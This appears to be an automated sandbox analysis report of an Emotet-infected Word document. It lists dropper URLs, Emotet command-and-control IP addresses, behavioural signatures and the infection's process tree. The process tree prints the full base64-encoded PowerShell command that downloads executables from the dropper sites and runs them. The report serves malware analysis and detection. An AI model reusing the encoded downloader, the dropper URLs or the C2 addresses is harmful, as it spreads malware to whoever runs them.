Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    13/08/2020, 18:02

General

  • Target
    emotet_e2_f9570fa9c46e099d4b1af2409ecdc6b979f3d0309e9bc6b710fc366416a1ed39_2020-08-13__180009._doc.doc
  • Size 230KB
  • Sample200813-4b91hbefva
  • SHA256 f9570fa9c46e099d4b1af2409ecdc6b979f3d0309e9bc6b710fc366416a1ed39
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://yang-agency.com/cgi-bin/s27pi_rbt70_kp/

  • exe.dropper

    http://blog.takipcikedi.com/wordpress/5h0y_21l_5h58lfleyt/

  • exe.dropper

    https://doooone.com/wp-includes/k5p7_g710j_3och/

  • exe.dropper

    http://bitaghamari.com/wp-admin/svph4_7g82w_km6sh8v76/

  • exe.dropper

    http://dae.dte.hcmut.edu.vn/alfacgiapi/9lw_j7q5_9cm6kkdet8/

Extracted

Family
  • emotet

C2
  • 24.233.112.152:80

  • 69.30.203.214:8080

  • 192.210.135.126:8080

  • 47.144.21.12:443

  • 157.245.99.39:8080

  • 119.198.40.179:80

  • 62.75.141.82:80

  • 181.211.11.242:80

  • 167.86.90.214:8080

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 109.74.5.95:8080

  • 142.105.151.124:443

  • 47.146.117.214:80

  • 185.94.252.104:443

  • 2.58.16.85:7080

  • 222.214.218.37:4143

  • 85.105.205.77:8080

  • 190.160.53.126:80

  • 107.185.211.16:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f9570fa9c46e099d4b1af2409ecdc6b979f3d0309e9bc6b710fc366416a1ed39_2020-08-13__180009._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2312
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABNAFQAUwBLAFQAdQBpAGQAPQAnAEoAWQBVAFgAQQB5AGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAHQAWQBgAFAAcgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABXAEYAQwBGAG8AdgBjACAAPQAgACcARAB3AGYAbQAnADsAJABYAEwAVgBIAEsAagBvAHQAPQAnAFoAUgBTAEcAWQBiAHMAawAnADsAJABEAEQARQBIAEQAdQB0AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABEAFcARgBDAEYAbwB2AGMAKwAnAC4AZQB4AGUAJwA7ACQAWQBaAFUASwBZAGsAZgB2AD0AJwBXAFAATABaAFcAZgByAHYAJwA7ACQAVABPAEgAVQBSAGEAdQBoAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJABOAFAAUABSAEkAYQBrAGgAPQAnAGgAdAB0AHAAOgAvAC8AeQBhAG4AZwAtAGEAZwBlAG4AYwB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AcwAyADcAcABpAF8AcgBiAHQANwAwAF8AawBwAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgB0AGEAawBpAHAAYwBpAGsAZQBkAGkALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8ANQBoADAAeQBfADIAMQBsAF8ANQBoADUAOABsAGYAbABlAHkAdAAvACoAaAB0AHQAcABzADoALwAvAGQAbwBvAG8AbwBuAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsANQBwADcAXwBnADcAMQAwAGoAXwAzAG8AYwBoAC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGEAZwBoAGEAbQBhAHIAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwB2AHAAaAA0AF8ANwBnADgAMgB3AF8AawBtADYAcwBoADgAdgA3ADYALwAqAGgAdAB0AHAAOgAvAC8AZABhAGUALgBkAHQAZQAuAGgAYwBtAHUAdAAuAGUAZAB1AC4AdgBuAC8AYQBsAGYAYQBjAGcAaQBhAHAAaQAvADkAbAB3AF8AagA3AHEANQBfADkAYwBtADYAawBrAGQAZQB0ADgALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAATABKAFkATwBnAHIAeQA9ACcARQBVAEEARQBZAHQAbQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAFoARwBVAFQAawB0AHMAIABpAG4AIAAkAE4AUABQAFIASQBhAGsAaAApAHsAdAByAHkAewAkAFQATwBIAFUAUgBhAHUAaAAuACIAZABPAGAAdwBuAEwAbwBBAGQAYABGAGkAbABlACIAKAAkAFEAWgBHAFUAVABrAHQAcwAsACAAJABEAEQARQBIAEQAdQB0AHcAKQA7ACQAQQBOAE4ASwBDAG8AYwByAD0AJwBHAEEAVgBOAE8AYwB1AGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEAEQARQBIAEQAdQB0AHcAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAzADgANgAwADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQARABEAEUASABEAHUAdAB3ACkAOwAkAEEASwBOAFMAWgBoAGEAYgA9ACcAUgBSAFIATgBQAHQAcQBpACcAOwBiAHIAZQBhAGsAOwAkAEUASgBVAFYAVwBjAGwAeQA9ACcAUgBGAFgASwBVAHYAawBnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4AVQBPAEQAQgBuAHcAYQA9ACcATwBNAEYAVQBYAHUAYQB5ACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3940
    • C:\Users\Admin\AppData\Local\Temp\Dwfm.exe
      "C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3912
      • C:\Windows\SysWOW64\autochk\smphost.exe
        "C:\Windows\SysWOW64\autochk\smphost.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:892

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/892-16-0x0000000003E60000-0x0000000003E6C000-memory.dmp

        memory/2312-0-0x00007FFB5AFD0000-0x00007FFB5B696000-memory.dmp

        memory/2312-4-0x00000224C5032000-0x00000224C509C000-memory.dmp

        memory/3912-13-0x0000000003FA0000-0x0000000003FAC000-memory.dmp

        memory/3940-7-0x00007FFB53860000-0x00007FFB5424C000-memory.dmp

        memory/3940-8-0x00000185F21B0000-0x00000185F21B1000-memory.dmp

        memory/3940-9-0x00000185F2860000-0x00000185F2861000-memory.dmp